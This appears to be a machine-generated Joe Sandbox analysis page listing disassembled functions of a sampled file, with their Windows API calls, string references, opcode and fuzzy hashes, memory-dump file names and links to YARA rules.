Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8Throw$_mallocstd::exception::exception
String ID: ILProtector
API String ID: 84431791-1153028812
Opcode ID: 73846493c651be45d23166f2abf96f5ffec647ca683028b0fc3cfdce143ebe5f
Instruction ID: ee350c3b092d8833a0796f72249ce5d8274e556c97816dae35abbef2b7ea24f1
Opcode Fuzzy Hash: 73846493c651be45d23166f2abf96f5ffec647ca683028b0fc3cfdce143ebe5f
Instruction Fuzzy Hash: AA7137B5E05258DFCB54CFA8C884BDEBBB4EB49304F1481AAE419A7740DB316A48CF91

Function 6CF69110 Relevance: 5.1, APIs: 4, Instructions: 122COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CF6913B
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CF6915C
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 6CF69170
LeaveCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CF69191

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 50f9c06af58a08e3e1683c9253c027843d85c0f61f95462ddd440b01f4eddcc1
Instruction ID: ac571477eee28781b539e40dc1568334153ecaacaba0b0ae80c5a4e7b7efd809
Opcode Fuzzy Hash: 50f9c06af58a08e3e1683c9253c027843d85c0f61f95462ddd440b01f4eddcc1
Instruction Fuzzy Hash: 534142769002099FCB04DFA5D9848EEBBB4FF49314B61855ED816ABB10D730EA05CFE1

Function 6CF68E20 Relevance: 4.7, APIs: 3, Instructions: 162COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 6CF68E89
LeaveCriticalSection.KERNEL32(?,00000000), ref: 6CF68EAD
_memset.LIBCMT ref: 6CF68ED2

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave_memset
String ID:
API String ID: 3751686142-0
Opcode ID: cfced07b12dc06a6d7c7f5b9e98e25339145c089d581f3ec23518ce2e0f41b72
Instruction ID: 821ca254018f5d6b52047f60d01b0346578eff01516f0c8d5f036bb43804ddde
Opcode Fuzzy Hash: cfced07b12dc06a6d7c7f5b9e98e25339145c089d581f3ec23518ce2e0f41b72
Instruction Fuzzy Hash: 77515EB4A01205AFCB44CF59C490F9AB7B6FF4A304F10859DE91A9BB81DB31EE55CB90

Function 6CF6D920 Relevance: 4.6, APIs: 3, Instructions: 81COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(0000000D,00000000,00000002), ref: 6CF6D949
SafeArrayPutElement.OLEAUT32(00000000,?,00000000), ref: 6CF6D96C
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF6D9CF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$CreateDestroyElementVector
String ID:
API String ID: 3149346722-0
Opcode ID: 0811e4996f3f756db645bf30e5ad003bc3f17eff5293d874a7d302188790bba0
Instruction ID: a467bd8027907d8a3b3f1a3a70165ef968cb8424ba49c08d0244b160e9f5e863
Opcode Fuzzy Hash: 0811e4996f3f756db645bf30e5ad003bc3f17eff5293d874a7d302188790bba0
Instruction Fuzzy Hash: D821B031701204AFEB01CF66C884FAB77B8EF8A744F204098E945DB744D771E801CBA1

Function 6CF7DB10 Relevance: 4.6, APIs: 3, Instructions: 63COMMON

Download Yara Rule

APIs

SafeArrayCreateVector.OLEAUT32(0000000C,00000000,00000001), ref: 6CF7DB2D
SafeArrayPutElement.OLEAUT32(00000000,00000000,?), ref: 6CF7DB45
SafeArrayDestroy.OLEAUT32(00000000), ref: 6CF7DBA2

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArraySafe$CreateDestroyElementVector
String ID:
API String ID: 3149346722-0
Opcode ID: 8258c5dd098949c1aadf30b11d8f546c5ac7c299954cc15a56c786b5fbe2be19
Instruction ID: 581512fe712faf63e907c0d836a2184f484ec44d123bd4d4edd63e97d5eebb50
Opcode Fuzzy Hash: 8258c5dd098949c1aadf30b11d8f546c5ac7c299954cc15a56c786b5fbe2be19
Instruction Fuzzy Hash: CF11BC75746205AFD700DF69C888F9ABBB8FF5A314F45829AE908DB341D730A801CBA0

Function 03399990 Relevance: 3.9, Strings: 3, Instructions: 166COMMON

Download Yara Rule

Strings

$bq, xrefs: 03399B21
4bq, xrefs: 03399AE4
dbq, xrefs: 03399AC3

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: $bq$4bq$dbq
API String ID: 0-618732975
Opcode ID: 000ef08197f87b7ecea7a8b426890ecfb6746a72b87e85de793e4677fe0bf4e9
Instruction ID: a3edb61af7be3faa8cb7d9688d52afd4a156968ba2eee4224e572cd6fd21a1e8
Opcode Fuzzy Hash: 000ef08197f87b7ecea7a8b426890ecfb6746a72b87e85de793e4677fe0bf4e9
Instruction Fuzzy Hash: DB71E774E00208CFDB54DFA9C994AADBBB6FF89300F20846AD409AB365DB359C45CF40

Function 03399947 Relevance: 3.9, Strings: 3, Instructions: 163COMMON

Download Yara Rule

Strings

$bq, xrefs: 03399B21
4bq, xrefs: 03399AE4
dbq, xrefs: 03399AC3

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: $bq$4bq$dbq
API String ID: 0-618732975
Opcode ID: bd73d3aaf850c9536d86c6dcb9bfb1cb0d82905ce37968b5a03ae9be2b33c873
Instruction ID: 01fc6807ffa5640a973e1e546f1572b08b3d8d1ba1d0fa6232a3a6b64eaf436d
Opcode Fuzzy Hash: bd73d3aaf850c9536d86c6dcb9bfb1cb0d82905ce37968b5a03ae9be2b33c873
Instruction Fuzzy Hash: 1D71D574E00208CFDB58DFA9C994A9DBBB6FF89304F20856AD409AB365DB35AC45CF41

Function 033999A0 Relevance: 3.9, Strings: 3, Instructions: 162COMMON

Download Yara Rule

Strings

$bq, xrefs: 03399B21
4bq, xrefs: 03399AE4
dbq, xrefs: 03399AC3

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: $bq$4bq$dbq
API String ID: 0-618732975
Opcode ID: 570bedf9052e1619ad6278e1db9899c3e09b164f478c8d40d1a8088c59cbc011
Instruction ID: f5efea2f1f641bc1e0fa1dfdafda3cf223c18230e46c8a9624394eb55ce61b28
Opcode Fuzzy Hash: 570bedf9052e1619ad6278e1db9899c3e09b164f478c8d40d1a8088c59cbc011
Instruction Fuzzy Hash: 9171E474E00208CFDB54DFA9C994A9DBBB6FF88310F20856AE409AB365DB35AC45CF41

Function 6CF83EB0 Relevance: 3.2, APIs: 2, Instructions: 242COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

std::exception::exception.LIBCMT ref: 6CF84042

Part of subcall function 6CFB9533: std::exception::_Copy_str.LIBCMT ref: 6CFB954E

__CxxThrowException@8.LIBCMT ref: 6CF84059

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C04
Part of subcall function 6CFB9BB5: std::exception::exception.LIBCMT ref: 6CFB9C1E
Part of subcall function 6CFB9BB5: __CxxThrowException@8.LIBCMT ref: 6CFB9C2F

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: std::exception::exception$Exception@8Throw$Copy_strExceptionRaise_mallocstd::exception::_
String ID:
API String ID: 2813683038-0
Opcode ID: 62c4eae0b681234b687c5cf17218032b6702a6b457bdbbcabab35dc516bf0a55
Instruction ID: e9502d4b3d7c5a091e7632e3a33955cdd5203309e59067a85b46185cba667716
Opcode Fuzzy Hash: 62c4eae0b681234b687c5cf17218032b6702a6b457bdbbcabab35dc516bf0a55
Instruction Fuzzy Hash: 6291D1B1804700AFC700CF5AC841B9AFBF8FF94344F15895AE5159BBA0E7B1DA08CB92

Function 6CF6BDF7 Relevance: 3.2, APIs: 2, Instructions: 200COMMON

Download Yara Rule

APIs

SafeArrayDestroy.OLEAUT32(?), ref: 6CF6BE2D
IsBadReadPtr.KERNEL32(00000000,00000008,?,?,?), ref: 6CF6BE6D

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: ArrayDestroyReadSafe
String ID:
API String ID: 616443815-0
Opcode ID: 9b38932098500146b51ab7e15553cdf5bcdf102f11dccfa5d51f0aff9e801b87
Instruction ID: 1dc8dcb72278f25c077d9b3b7e347208e43faa988044d31e975531baa6a138b2
Opcode Fuzzy Hash: 9b38932098500146b51ab7e15553cdf5bcdf102f11dccfa5d51f0aff9e801b87
Instruction Fuzzy Hash: 607135B0D046965EDB21CFB78840699FBB1AF06228F188B5CF9E497EE2C731D442DB50

Function 6CF662C0 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

std::exception::exception.LIBCMT ref: 6CF66466

Part of subcall function 6CFB9533: std::exception::_Copy_str.LIBCMT ref: 6CFB954E

__CxxThrowException@8.LIBCMT ref: 6CF6647D

Part of subcall function 6CFBAC75: RaiseException.KERNEL32(?,?,6CFB9C34,CA0C7769,?,?,?,?,6CFB9C34,CA0C7769,6CFE9C90,6CFFB974,CA0C7769), ref: 6CFBACB7

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Copy_strExceptionException@8RaiseThrow_mallocstd::exception::_std::exception::exception
String ID:
API String ID: 2299493649-0
Opcode ID: 459c936b836fa4898b3a34ba86418584d92f5fcd0b36d0b122afd07c4d30bad0
Instruction ID: 37564177042caeeec6bd9d18a67d4117cedb99a8b46fceabda487dc156d69d74
Opcode Fuzzy Hash: 459c936b836fa4898b3a34ba86418584d92f5fcd0b36d0b122afd07c4d30bad0
Instruction Fuzzy Hash: E9518EB2808340AFD700CF56C981A8ABBF4FB85704F54492EF59997B90D771DA48CB93

Function 6CF7D2E0 Relevance: 3.1, APIs: 2, Instructions: 109COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

std::exception::exception.LIBCMT ref: 6CF7D3E8
__CxxThrowException@8.LIBCMT ref: 6CF7D3FF

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID:
API String ID: 4063778783-0
Opcode ID: f023e85b82bb94c06d04290bc9edf157faea5ea1ef37f7b55de70116601c3f7c
Instruction ID: 18cd8c43228b849255689ad49555b6a2473c2026d806f9c7f39c5ff7c7260d96
Opcode Fuzzy Hash: f023e85b82bb94c06d04290bc9edf157faea5ea1ef37f7b55de70116601c3f7c
Instruction Fuzzy Hash: C9316FB15147059FC704CF29D48099ABBF4FF89714F608A2EF4558BB50E731EA0ACBA2

Function 6CF68400 Relevance: 3.0, APIs: 2, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 6CFB9BB5: _malloc.LIBCMT ref: 6CFB9BCF

std::exception::exception.LIBCMT ref: 6CF68449
__CxxThrowException@8.LIBCMT ref: 6CF6845E

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: Exception@8Throw_mallocstd::exception::exception
String ID:
API String ID: 4063778783-0
Opcode ID: 7dda69b0958e69f09127ab1db34fc98ba7e3f8daeac3643877a5f0ba960d37f5
Instruction ID: e833a4986c81a24292f56ee9541461df15d1e79d3925c56500ba0c9875d51895
Opcode Fuzzy Hash: 7dda69b0958e69f09127ab1db34fc98ba7e3f8daeac3643877a5f0ba960d37f5
Instruction Fuzzy Hash: E701C275900208AFC708DF55D490CDABBF5FF58300B10C1AED92A4BB60DB30EA04CB91

Function 03397E50 Relevance: 3.0, Strings: 2, Instructions: 488COMMON

Download Yara Rule

Strings

d8cq, xrefs: 03397EA8
Hbq, xrefs: 033980C6

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: Hbq$d8cq
API String ID: 0-70480990
Opcode ID: c09a93c302fa9e08c406e682dc609719d7a098eef6b2b60f74301eba3fa4c35a
Instruction ID: 4ae50d76a7274c76a0d1360d996f96456bd858c3de94c7cd1825a52ec4163060
Opcode Fuzzy Hash: c09a93c302fa9e08c406e682dc609719d7a098eef6b2b60f74301eba3fa4c35a
Instruction Fuzzy Hash: 42127F34640708DFDB06DB68E994B197BA7FF88300F108469E8055B7A9CB3DACC9EB55

Function 0339F7A0 Relevance: 2.8, Strings: 2, Instructions: 301COMMON

Download Yara Rule

Strings

(bq, xrefs: 0339F7C4
d, xrefs: 0339FA45

Memory Dump Source

Source File: 00000000.00000002.1650111319.0000000003390000.00000040.00000800.00020000.00000000.sdmp, Offset: 03390000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3390000_file.jbxd

Similarity

API ID:
String ID: (bq$d
API String ID: 0-3334038649
Opcode ID: 6e4a9af983ed4ce69801efed63ae6351c849fea7f075ad53d6f4596b7ef20919
Instruction ID: c6df4f398ea672dc4e9d402d1c56efd9074227c70461ff8c59103138419aeebb
Opcode Fuzzy Hash: 6e4a9af983ed4ce69801efed63ae6351c849fea7f075ad53d6f4596b7ef20919
Instruction Fuzzy Hash: C9C14934A006058FEB14DF19C58096AB7F6FF88315B29C6AAD85ADB765DB30FC45CB80

Function 062B2278 Relevance: 2.6, Strings: 2, Instructions: 129COMMON

Download Yara Rule

Strings

PO^q, xrefs: 062B232C
TJcq, xrefs: 062B2356

Memory Dump Source

Source File: 00000000.00000002.1662165312.00000000062B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62b0000_file.jbxd

Similarity

API ID:
String ID: PO^q$TJcq
API String ID: 0-3011750398
Opcode ID: e89f43320e7e13a9909df49db853f8feafe092ece030a42be5b1d3f00ae64048
Instruction ID: 35045223261d326bf8f1c0457252b4944c9234d9b05920be578dd039480c097d
Opcode Fuzzy Hash: e89f43320e7e13a9909df49db853f8feafe092ece030a42be5b1d3f00ae64048
Instruction Fuzzy Hash: 42419930A15305EFD705DB68D890AAEBFF9EFC5350F1484AAE846DF391DA70AD048791

Function 062B0001 Relevance: 2.6, Strings: 2, Instructions: 95COMMON

Download Yara Rule

Strings

Te^q, xrefs: 062B0077
TJcq, xrefs: 062B008F

Memory Dump Source

Source File: 00000000.00000002.1662165312.00000000062B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62b0000_file.jbxd

Similarity

API ID:
String ID: TJcq$Te^q
API String ID: 0-918715239
Opcode ID: 1d7ad706b7ac8c6a3efdbb60e5c6be2b4439ea8342402cf5343aa0c78f24f9b0
Instruction ID: 9a79860dad0fed2de097cc9a19a6a3ba85639e8d023959b56e0d019429b29150
Opcode Fuzzy Hash: 1d7ad706b7ac8c6a3efdbb60e5c6be2b4439ea8342402cf5343aa0c78f24f9b0
Instruction Fuzzy Hash: DB31D2306093814FD7169B78D8A866EBFF6EF86200F1904EFD486DB292C9245D09C7A6

Function 6CF68D60 Relevance: 2.6, APIs: 2, Instructions: 78COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000000,6CF68C13,?,6CF68CD3,?,6CF68C13,00000000,?,?,6CF68C13,?,?), ref: 6CF68D73
LeaveCriticalSection.KERNEL32(?,?,?,6CF68CD3,?,6CF68C13,00000000,?,?,6CF68C13,?,?), ref: 6CF68D8C

Memory Dump Source

Source File: 00000000.00000002.1662765517.000000006CF51000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CF50000, based on PE: true

Associated: 00000000.00000002.1662657072.000000006CF50000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663245604.000000006CFD4000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663399300.000000006CFEE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663433730.000000006CFF0000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663463710.000000006CFF1000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663500199.000000006CFF3000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFA000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663567948.000000006CFFC000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1663715558.000000006CFFE000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cf50000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 4dadff4a7d3237962875ed6cb506ec2149632299e0d157e1bde1eda21bd41857
Instruction ID: 90489ed913f20c33886c0fb928d733f3cf97d4bf2991cf2c62fdc39ea20fe599
Opcode Fuzzy Hash: 4dadff4a7d3237962875ed6cb506ec2149632299e0d157e1bde1eda21bd41857
Instruction Fuzzy Hash: D821F875200109EF8B04DF99D890DAAB3BAFFC9314B148549F91A97750CB31EE16CBA1

Function 062B0048 Relevance: 2.6, Strings: 2, Instructions: 64COMMON

Download Yara Rule

Strings

Te^q, xrefs: 062B0077
TJcq, xrefs: 062B008F

Memory Dump Source

Source File: 00000000.00000002.1662165312.00000000062B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62b0000_file.jbxd

Similarity

API ID:
String ID: TJcq$Te^q
API String ID: 0-918715239
Opcode ID: d8bdd28470b8b8ca4952394ae1e930fd6382e0a618d773d8e8ded1d6bcc663e2
Instruction ID: bd5b68c3777459bd7d4501580faf6719c539fa08b91ce0ef71a19307b30eb976
Opcode Fuzzy Hash: d8bdd28470b8b8ca4952394ae1e930fd6382e0a618d773d8e8ded1d6bcc663e2
Instruction Fuzzy Hash: BD11D330B401155BEB18EBA8D49877FBAE6FFC8600F10442ED507AB390CE219D0987E6

